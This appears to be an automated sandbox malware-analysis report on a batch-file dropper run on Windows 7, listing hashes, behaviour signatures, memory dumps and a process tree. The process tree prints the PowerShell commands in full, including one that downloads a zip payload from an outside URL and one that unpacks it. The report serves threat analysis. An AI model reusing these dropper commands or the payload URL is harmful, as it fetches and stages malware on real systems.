1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1556s
max time network
1562s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (2).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2952	powershell.exe
8	2952	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2952	powershell.exe
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2952	1712	cmd.exe	29
PID 1712 wrote to memory of 2952	1712	cmd.exe	29
PID 1712 wrote to memory of 2952	1712	cmd.exe	29
PID 1712 wrote to memory of 2680	1712	cmd.exe	32
PID 1712 wrote to memory of 2680	1712	cmd.exe	32
PID 1712 wrote to memory of 2680	1712	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f0f360d77cfdffc4720aef7f1e3c5d10

SHA1
01fed46ecbfaee6524b59e749a7dabc15ddc3172

SHA256
5e5be7e259058680741bb1b1bdea185240f0c52f059dc0019e7bb09c4bf1fdee

SHA512
d40e561a58ad177d0f0ddc82de704c3f7d7fd289820f461a8f02a8482a96e28f9ed3c5e3d3d3781257167e38e2c56a4d7997c4dd6678a5efbe13492ec5bfd0ef

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PGEEV10M2V4GL64NXD4V.temp

Filesize
7KB

MD5
147432e51916dc031a4a60eb83ddb2b2

SHA1
4fc60f70acb3bc0c265eb9d33d68e4c5000be1e2

SHA256
35ad9dd6c021467b9bf34375f0fa5af6ef0f11b8a596733bccce7141d8942234

SHA512
016d72ec414c03ffcff6f8de2587dfb5b3680e59f31658a7d97baea35529459a4d7e777b735db06fe2cc0d562409d2263b810892c3ca5d360fd45329f4936ec9

Download Submit
memory/2680-30-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-29-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-28-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-27-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-26-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-25-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2680-23-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2680-24-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2680-22-0x000000001B400000-0x000000001B6E2000-memory.dmp

Filesize
2.9MB

Download
memory/2952-9-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-16-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2952-14-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-13-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-12-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-11-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2952-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2952-8-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-7-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2952-6-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/2952-5-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download